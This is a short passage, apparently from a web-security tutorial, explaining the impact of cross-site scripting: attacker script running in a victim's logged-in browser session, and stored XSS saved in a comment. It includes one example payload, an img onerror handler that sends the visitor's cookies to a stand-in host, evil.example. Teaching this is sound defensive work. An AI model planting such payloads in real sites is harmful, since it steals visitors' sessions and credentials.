Impact
XSS Impact
Impact
XSS is dangerous because it allows attacker-controlled JavaScript to run inside a victim's browser and the security context of a trusted website.
The victim may already be logged in, so the malicious script can potentially interact with the page using the victim's existing privileges.
With stored XSS, the malicious content can be saved in something like a comment.
<img src=x onerror="fetch('https://evil.example/log?c='+document.cookie)">Every visitor who views that comment silently sends their own cookies to the attacker's server no click, no visible sign anything happened.
The broader risk is that injected JavaScript may be able to read accessible page data, modify the page, capture input, or perform actions available to the victim's browser session.